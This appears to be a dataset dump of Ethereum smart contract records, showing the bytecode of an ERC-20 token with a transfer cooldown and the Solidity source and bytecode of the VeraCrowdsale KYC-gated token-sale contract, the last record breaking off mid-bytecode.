} | 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146101a35780637558b143146101d357806395d89b41146101ef578063a457c2d71461020d578063a9059cbb1461023d578063dd62ed3e1461026d576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce567146101555780633950935114610173575b600080fd5b6100c161029d565b6040516100ce919061118d565b60405180910390f35b6100f160048036038101906100ec9190610f91565b61032f565b6040516100fe9190611172565b60405180910390f35b61010f61034d565b60405161011c91906112cf565b60405180910390f35b61013f600480360381019061013a9190610f3e565b610357565b60405161014c9190611172565b60405180910390f35b61015d61044f565b60405161016a91906112ea565b60405180910390f35b61018d60048036038101906101889190610f91565b610458565b60405161019a9190611172565b60405180910390f35b6101bd60048036038101906101b89190610ed1565b610504565b6040516101ca91906112cf565b60405180910390f35b6101ed60048036038101906101e89190610ed1565b61054c565b005b6101f76105e8565b604051610204919061118d565b60405180910390f35b61022760048036038101906102229190610f91565b61067a565b6040516102349190611172565b60405180910390f35b61025760048036038101906102529190610f91565b610765565b6040516102649190611172565b60405180910390f35b61028760048036038101906102829190610efe565b610783565b60405161029491906112cf565b60405180910390f35b6060600480546102ac90611433565b80601f01602080910402602001604051908101604052809291908181526020018280546102d890611433565b80156103255780601f106102fa57610100808354040283529160200191610325565b820191906000526020600020905b81548152906001019060200180831161030857829003601f168201915b5050505050905090565b600061034361033c61080a565b8484610812565b6001905092915050565b6000600354905090565b60006103648484846109dd565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103af61080a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561042f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104269061122f565b60405180910390fd5b6104438561043b61080a565b858403610812565b60019150509392505050565b60006012905090565b60006104fa61046561080a565b84846002600061047361080a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f59190611321565b610812565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156105e55780600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6060600580546105f790611433565b80601f016020809104026020016040519081016040528092919081815260200182805461062390611433565b80156106705780601f1061064557610100808354040283529160200191610670565b820191906000526020600020905b81548152906001019060200180831161065357829003601f168201915b5050505050905090565b6000806002600061068961080a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073d906112af565b60405180910390fd5b61075a61075161080a565b85858403610812565b600191505092915050565b600061077961077261080a565b84846109dd565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610882576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108799061126f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e9906111cf565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109d091906112cf565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a449061124f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610abd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab4906111af565b60405180910390fd5b42600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b359061128f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3d57600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c3c5761025842610bf89190611321565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b610c48838383610d91565b6000610c5384610504565b905081811015610c98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8f9061120f565b60405180910390fd5b610cab8282610d9690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d3e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d8b848484610e3e565b50505050565b505050565b6000610dd883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e43565b905092915050565b6000808284610def9190611321565b905083811015610e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2b906111ef565b60405180910390fd5b8091505092915050565b505050565b6000838311158290610e8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e82919061118d565b60405180910390fd5b5060008385610e9a9190611377565b9050809150509392505050565b600081359050610eb681611754565b92915050565b600081359050610ecb8161176b565b92915050565b600060208284031215610ee757610ee66114c3565b5b6000610ef584828501610ea7565b91505092915050565b60008060408385031215610f1557610f146114c3565b5b6000610f2385828601610ea7565b9250506020610f3485828601610ea7565b9150509250929050565b600080600060608486031215610f5757610f566114c3565b5b6000610f6586828701610ea7565b9350506020610f7686828701610ea7565b9250506040610f8786828701610ebc565b9150509250925092565b60008060408385031215610fa857610fa76114c3565b5b6000610fb685828601610ea7565b9250506020610fc785828601610ebc565b9150509250929050565b610fda816113bd565b82525050565b6000610feb82611305565b610ff58185611310565b9350611005818560208601611400565b61100e816114c8565b840191505092915050565b6000611026602383611310565b9150611031826114d9565b604082019050919050565b6000611049602283611310565b915061105482611528565b604082019050919050565b600061106c601b83611310565b915061107782611577565b602082019050919050565b600061108f602683611310565b915061109a826115a0565b604082019050919050565b60006110b2602883611310565b91506110bd826115ef565b604082019050919050565b60006110d5602583611310565b91506110e08261163e565b604082019050919050565b60006110f8602483611310565b91506111038261168d565b604082019050919050565b600061111b601783611310565b9150611126826116dc565b602082019050919050565b600061113e602583611310565b915061114982611705565b604082019050919050565b61115d816113e9565b82525050565b61116c816113f3565b82525050565b60006020820190506111876000830184610fd1565b92915050565b600060208201905081810360008301526111a78184610fe0565b905092915050565b600060208201905081810360008301526111c881611019565b9050919050565b600060208201905081810360008301526111e88161103c565b9050919050565b600060208201905081810360008301526112088161105f565b9050919050565b6000602082019050818103600083015261122881611082565b9050919050565b60006020820190508181036000830152611248816110a5565b9050919050565b60006020820190508181036000830152611268816110c8565b9050919050565b60006020820190508181036000830152611288816110eb565b9050919050565b600060208201905081810360008301526112a88161110e565b9050919050565b600060208201905081810360008301526112c881611131565b9050919050565b60006020820190506112e46000830184611154565b92915050565b60006020820190506112ff6000830184611163565b92915050565b600081519050919050565b600082825260208201905092915050565b600061132c826113e9565b9150611337836113e9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561136c5761136b611465565b5b828201905092915050565b6000611382826113e9565b915061138d836113e9565b9250828210156113a05761139f611465565b5b828203905092915050565b60006113b6826113c9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561141e578082015181840152602081019050611403565b8381111561142d576000848401525b50505050565b6000600282049050600182168061144b57607f821691505b6020821081141561145f5761145e611494565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f436f6f6c646f776e206e6f7420636f6d706c6574656421000000000000000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61175d816113ab565b811461176857600080fd5b50565b611774816113e9565b811461177f57600080fd5b5056fea26469706673582212206a5120e7cc5f1b6822f985d16bb55d178b63b7c169bbfeaf3924585b0b3b8c8364736f6c63430008050033 | {"success": true, "error": null, "results": {}} | 10,611 |
0x7ad012fd817f8f5296805cbdc74e3a49c4affe5c | pragma solidity ^0.4.24;
/**
* @title Math
* @dev Assorted math operations
*/
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Roles
* @author Francisco Giordano (@frangio)
* @dev Library for managing addresses assigned to a Role.
* See RBAC.sol for example usage.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an address access to this role
*/
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
/**
* @dev remove an address' access to this role
*/
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
/**
* @dev check if an address has this role
* // reverts
*/
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
/**
* @dev check if an address has this role
* @return bool
*/
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
/**
* @title RBAC (Role-Based Access Control)
* @author Matt Condon (@Shrugs)
* @dev Stores and provides setters and getters for roles and addresses.
* @dev Supports unlimited numbers of roles and addresses.
* @dev See //contracts/mocks/RBACMock.sol for an example of usage.
* This RBAC method uses strings to key roles. It may be beneficial
* for you to write your own implementation of this interface using Enums or similar.
* It's also recommended that you define constants in the contract, like ROLE_ADMIN below,
* to avoid typos.
*/
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
/**
* @dev reverts if addr does not have role
* @param addr address
* @param roleName the name of the role
* // reverts
*/
function checkRole(address addr, string roleName)
view
public
{
roles[roleName].check(addr);
}
/**
* @dev determine if addr has role
* @param addr address
* @param roleName the name of the role
* @return bool
*/
function hasRole(address addr, string roleName)
view
public
returns (bool)
{
return roles[roleName].has(addr);
}
/**
* @dev add a role to an address
* @param addr address
* @param roleName the name of the role
*/
function addRole(address addr, string roleName)
internal
{
roles[roleName].add(addr);
emit RoleAdded(addr, roleName);
}
/**
* @dev remove a role from an address
* @param addr address
* @param roleName the name of the role
*/
function removeRole(address addr, string roleName)
internal
{
roles[roleName].remove(addr);
emit RoleRemoved(addr, roleName);
}
/**
* @dev modifier to scope access to a single role (uses msg.sender as addr)
* @param roleName the name of the role
* // reverts
*/
modifier onlyRole(string roleName)
{
checkRole(msg.sender, roleName);
_;
}
}
/**
* @title Interface of Price oracle
* @dev Implements methods of price oracle used in the crowdsale
* @author OnGrid Systems
*/
contract PriceOracleIface {
uint256 public ethPriceInCents;
function getUsdCentsFromWei(uint256 _wei) public view returns (uint256) {
}
}
/**
* @title Interface of ERC-20 token
* @dev Implements transfer methods and event used throughout crowdsale
* @author OnGrid Systems
*/
contract TransferableTokenIface {
function transfer(address to, uint256 value) public returns (bool) {
}
function balanceOf(address who) public view returns (uint256) {
}
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title CrowdSale contract for Vera.jobs
* @dev Keep the list of investors passed KYC, receive ethers to fallback,
* calculate correspinding amount of tokens, add bonus (depending on the deposit size)
* then transfers tokens to the investor's account
* @author OnGrid Systems
*/
contract VeraCrowdsale is RBAC {
using SafeMath for uint256;
// Price of one token (1.00000...) in USD cents
uint256 public tokenPriceInCents = 200;
// Minimal amount of USD cents to invest. Transactions of less value will be reverted.
uint256 public minDepositInCents = 800000;
// Amount of USD cents raised. Continuously increments on each transaction.
// Note: may be irrelevant because the actual amount of harvested ethers depends on ETH/USD price at the moment.
uint256 public centsRaised;
// Amount of tokens distributed by this contract.
// Note: doesn't include previous phases of tokensale.
uint256 public tokensSold;
// Address of VERA ERC-20 token contract
TransferableTokenIface public token;
// Address of ETH price feed
PriceOracleIface public priceOracle;
// Wallet address collecting received ETH
address public wallet;
// constants defining roles for access control
string public constant ROLE_ADMIN = "admin";
string public constant ROLE_BACKEND = "backend";
string public constant ROLE_KYC_VERIFIED_INVESTOR = "kycVerified";
// Value bonus configuration
struct AmountBonus {
// To understand which bonuses were applied bonus contains binary flag.
// If several bonuses applied ids get summarized in resulting event.
// Use values with a single 1-bit like 0x01, 0x02, 0x04, 0x08
uint256 id;
// amountFrom and amountTo define deposit value range.
// Bonus percentage applies if deposit amount in cents is within the boundaries
uint256 amountFrom;
uint256 amountTo;
uint256 bonusPercent;
}
// The list of available bonuses. Filled by the constructor on contract initialization
AmountBonus[] public amountBonuses;
/**
* Event for token purchase logging
* @param investor who received tokens
* @param ethPriceInCents ETH price at the moment of purchase
* @param valueInCents deposit calculated to USD cents
* @param bonusPercent total bonus percent (sum of all bonuses)
* @param bonusIds flags of all the bonuses applied to the purchase
*/
event TokenPurchase(
address indexed investor,
uint256 ethPriceInCents,
uint256 valueInCents,
uint256 bonusPercent,
uint256 bonusIds
);
/**
* @dev modifier to scope access to admins
* // reverts if called not by admin
*/
modifier onlyAdmin()
{
checkRole(msg.sender, ROLE_ADMIN);
_;
}
/**
* @dev modifier to scope access of backend keys stored on
* investor's portal
* // reverts if called not by backend
*/
modifier onlyBackend()
{
checkRole(msg.sender, ROLE_BACKEND);
_;
}
/**
* @dev modifier allowing calls from investors successfully passed KYC verification
* // reverts if called by investor who didn't pass KYC via investor's portal
*/
modifier onlyKYCVerifiedInvestor()
{
checkRole(msg.sender, ROLE_KYC_VERIFIED_INVESTOR);
_;
}
/**
* @dev Constructor initializing Crowdsale contract
* @param _token address of the token ERC-20 contract.
* @param _priceOracle ETH price feed
* @param _wallet address where received ETH get forwarded
*/
constructor(
TransferableTokenIface _token,
PriceOracleIface _priceOracle,
address _wallet
)
public
{
require(_token != address(0), "Need token contract address");
require(_priceOracle != address(0), "Need price oracle contract address");
require(_wallet != address(0), "Need wallet address");
addRole(msg.sender, ROLE_ADMIN);
token = _token;
priceOracle = _priceOracle;
wallet = _wallet;
// solium-disable-next-line arg-overflow
amountBonuses.push(AmountBonus(0x1, 800000, 1999999, 20));
// solium-disable-next-line arg-overflow
amountBonuses.push(AmountBonus(0x2, 2000000, 2**256 - 1, 30));
}
/**
* @dev Fallback function receiving ETH sent to the contract address
* sender must be KYC (Know Your Customer) verified investor.
*/
function ()
external
payable
onlyKYCVerifiedInvestor
{
uint256 valueInCents = priceOracle.getUsdCentsFromWei(msg.value);
buyTokens(msg.sender, valueInCents);
wallet.transfer(msg.value);
}
/**
* @dev Withdraws all remaining (not sold) tokens from the crowdsale contract
* @param _to address of tokens receiver
*/
function withdrawTokens(address _to) public onlyAdmin {
uint256 amount = token.balanceOf(address(this));
require(amount > 0, "no tokens on the contract");
token.transfer(_to, amount);
}
/**
* @dev Called when investor's portal (backend) receives non-ethereum payment
* @param _investor address of investor
* @param _cents received deposit amount in cents
*/
function buyTokensViaBackend(address _investor, uint256 _cents)
public
onlyBackend
{
if (! RBAC.hasRole(_investor, ROLE_KYC_VERIFIED_INVESTOR)) {
addKycVerifiedInvestor(_investor);
}
buyTokens(_investor, _cents);
}
/**
* @dev Computes total bonuses amount by value
* @param _cents deposit amount in USD cents
* @return total bonus percent (sum of applied bonus percents), bonusIds (sum of applied bonus flags)
*/
function computeBonuses(uint256 _cents)
public
view
returns (uint256, uint256)
{
uint256 bonusTotal;
uint256 bonusIds;
for (uint i = 0; i < amountBonuses.length; i++) {
if (_cents >= amountBonuses[i].amountFrom &&
_cents <= amountBonuses[i].amountTo) {
bonusTotal += amountBonuses[i].bonusPercent;
bonusIds += amountBonuses[i].id;
}
}
return (bonusTotal, bonusIds);
}
/**
* @dev Calculates amount of tokens by cents
* @param _cents deposit amount in USD cents
* @return amount of tokens investor receive for the deposit
*/
function computeTokens(uint256 _cents) public view returns (uint256) {
uint256 tokens = _cents.mul(10 ** 18).div(tokenPriceInCents);
(uint256 bonusPercent, ) = computeBonuses(_cents);
uint256 bonusTokens = tokens.mul(bonusPercent).div(100);
if (_cents >= minDepositInCents) {
return tokens.add(bonusTokens);
}
}
/**
* @dev Add admin role to an address
* @param addr address
*/
function addAdmin(address addr)
public
onlyAdmin
{
addRole(addr, ROLE_ADMIN);
}
/**
* @dev Revoke admin privileges from an address
* @param addr address
*/
function delAdmin(address addr)
public
onlyAdmin
{
removeRole(addr, ROLE_ADMIN);
}
/**
* @dev Add backend privileges to an address
* @param addr address
*/
function addBackend(address addr)
public
onlyAdmin
{
addRole(addr, ROLE_BACKEND);
}
/**
* @dev Revoke backend privileges from an address
* @param addr address
*/
function delBackend(address addr)
public
onlyAdmin
{
removeRole(addr, ROLE_BACKEND);
}
/**
* @dev Mark investor's address as KYC-verified person
* @param addr address
*/
function addKycVerifiedInvestor(address addr)
public
onlyBackend
{
addRole(addr, ROLE_KYC_VERIFIED_INVESTOR);
}
/**
* @dev Revoke KYC verification from the person
* @param addr address
*/
function delKycVerifiedInvestor(address addr)
public
onlyBackend
{
removeRole(addr, ROLE_KYC_VERIFIED_INVESTOR);
}
/**
* @dev Calculates and applies bonuses and implements actual token transfer and events
* @param _investor address of the beneficiary receiving tokens
* @param _cents amount of deposit in cents
*/
function buyTokens(address _investor, uint256 _cents) internal {
(uint256 bonusPercent, uint256 bonusIds) = computeBonuses(_cents);
uint256 tokens = computeTokens(_cents);
require(tokens > 0, "value is not enough");
token.transfer(_investor, tokens);
centsRaised = centsRaised.add(_cents);
tokensSold = tokensSold.add(tokens);
emit TokenPurchase(
_investor,
priceOracle.ethPriceInCents(),
_cents,
bonusPercent,
bonusIds
);
}
} | 0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630988ca8c146102b8578063217fe6c6146103415780632630c12f146103e25780632ac016ad146104395780632e0025c11461047c57806349df728c1461050c578063518ab2a81461054f578063521eb2731461057a5780635259fcb4146105d157806362d91855146105fc5780637025b3ac1461063f57806370480275146106cf5780637488ad7c146107125780637dabb4d61461073d57806399b2270114610780578063a3fc81cb146107c3578063aebf1e3d14610810578063c7a1f22114610851578063d036261f1461087c578063d391014b146108d2578063e6f02bf914610962578063f22b683e146109aa578063fc0c546a146109ed575b6000610174336040805190810160405280600b81526020017f6b79635665726966696564000000000000000000000000000000000000000000815250610a44565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630c7e30b7346040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561020557600080fd5b505af1158015610219573d6000803e3d6000fd5b505050506040513d602081101561022f57600080fd5b8101908080519060200190929190505050905061024c3382610ac5565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156102b4573d6000803e3d6000fd5b5050005b3480156102c457600080fd5b5061033f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610a44565b005b34801561034d57600080fd5b506103c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610dbe565b604051808215151515815260200191505060405180910390f35b3480156103ee57600080fd5b506103f7610e45565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044557600080fd5b5061047a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6b565b005b34801561048857600080fd5b50610491610eec565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d15780820151818401526020810190506104b6565b50505050905090810190601f1680156104fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051857600080fd5b5061054d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f25565b005b34801561055b57600080fd5b506105646111dd565b6040518082815260200191505060405180910390f35b34801561058657600080fd5b5061058f6111e3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105dd57600080fd5b506105e6611209565b6040518082815260200191505060405180910390f35b34801561060857600080fd5b5061063d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120f565b005b34801561064b57600080fd5b50610654611290565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610694578082015181840152602081019050610679565b50505050905090810190601f1680156106c15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106db57600080fd5b50610710600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112c9565b005b34801561071e57600080fd5b5061072761134a565b6040518082815260200191505060405180910390f35b34801561074957600080fd5b5061077e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611350565b005b34801561078c57600080fd5b506107c1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113d1565b005b3480156107cf57600080fd5b5061080e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611452565b005b34801561081c57600080fd5b5061083b600480360381019080803590602001909291905050506114ee565b6040518082815260200191505060405180910390f35b34801561085d57600080fd5b50610866611587565b6040518082815260200191505060405180910390f35b34801561088857600080fd5b506108a76004803603810190808035906020019092919050505061158d565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b3480156108de57600080fd5b506108e76115cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561092757808201518184015260208101905061090c565b50505050905090810190601f1680156109545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561096e57600080fd5b5061098d60048036038101908080359060200190929190505050611605565b604051808381526020018281526020019250505060405180910390f35b3480156109b657600080fd5b506109eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116d9565b005b3480156109f957600080fd5b50610a0261175a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610ac1826000836040518082805190602001908083835b602083101515610a805780518252602082019150602081019050602083039250610a5b565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902061178090919063ffffffff16565b5050565b6000806000610ad384611605565b92509250610ae0846114ee565b9050600081111515610b5a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f76616c7565206973206e6f7420656e6f7567680000000000000000000000000081525060200191505060405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb86836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c1f57600080fd5b505af1158015610c33573d6000803e3d6000fd5b505050506040513d6020811015610c4957600080fd5b810190808051906020019092919050505050610c708460035461179990919063ffffffff16565b600381905550610c8b8160045461179990919063ffffffff16565b6004819055508473ffffffffffffffffffffffffffffffffffffffff167f8fd7c1cf2b9cceb829553742c07a11ee82ed91a2e2d4791328461df6aa6e8a89600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633edfe35e6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610d4f57600080fd5b505af1158015610d63573d6000803e3d6000fd5b505050506040513d6020811015610d7957600080fd5b81019080805190602001909291905050508686866040518085815260200184815260200183815260200182815260200194505050505060405180910390a25050505050565b6000610e3d836000846040518082805190602001908083835b602083101515610dfc5780518252602082019150602081019050602083039250610dd7565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390206117b590919063ffffffff16565b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610eaa336040805190810160405280600581526020017f61646d696e000000000000000000000000000000000000000000000000000000815250610a44565b610ee9816040805190810160405280600781526020017f6261636b656e640000000000000000000000000000000000000000000000000081525061180e565b50565b6040805190810160405280600781526020017f6261636b656e640000000000000000000000000000000000000000000000000081525081565b6000610f66336040805190810160405280600581526020017f61646d696e000000000000000000000000000000000000000000000000000000815250610a44565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561102357600080fd5b505af1158015611037573d6000803e3d6000fd5b505050506040513d602081101561104d57600080fd5b810190808051906020019092919050505090506000811115156110d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f6e6f20746f6b656e73206f6e2074686520636f6e74726163740000000000000081525060200191505060405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561119d57600080fd5b505af11580156111b1573d6000803e3d6000fd5b505050506040513d60208110156111c757600080fd5b8101908080519060200190929190505050505050565b60045481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b61124e336040805190810160405280600581526020017f61646d696e000000000000000000000000000000000000000000000000000000815250610a44565b61128d816040805190810160405280600581526020017f61646d696e00000000000000000000000000000000000000000000000000000081525061195f565b50565b6040805190810160405280600b81526020017f6b7963566572696669656400000000000000000000000000000000000000000081525081565b611308336040805190810160405280600581526020017f61646d696e000000000000000000000000000000000000000000000000000000815250610a44565b611347816040805190810160405280600581526020017f61646d696e00000000000000000000000000000000000000000000000000000081525061180e565b50565b60025481565b61138f336040805190810160405280600781526020017f6261636b656e6400000000000000000000000000000000000000000000000000815250610a44565b6113ce816040805190810160405280600b81526020017f6b7963566572696669656400000000000000000000000000000000000000000081525061180e565b50565b611410336040805190810160405280600581526020017f61646d696e00000000000000000000000000000000000000000000000000000081525061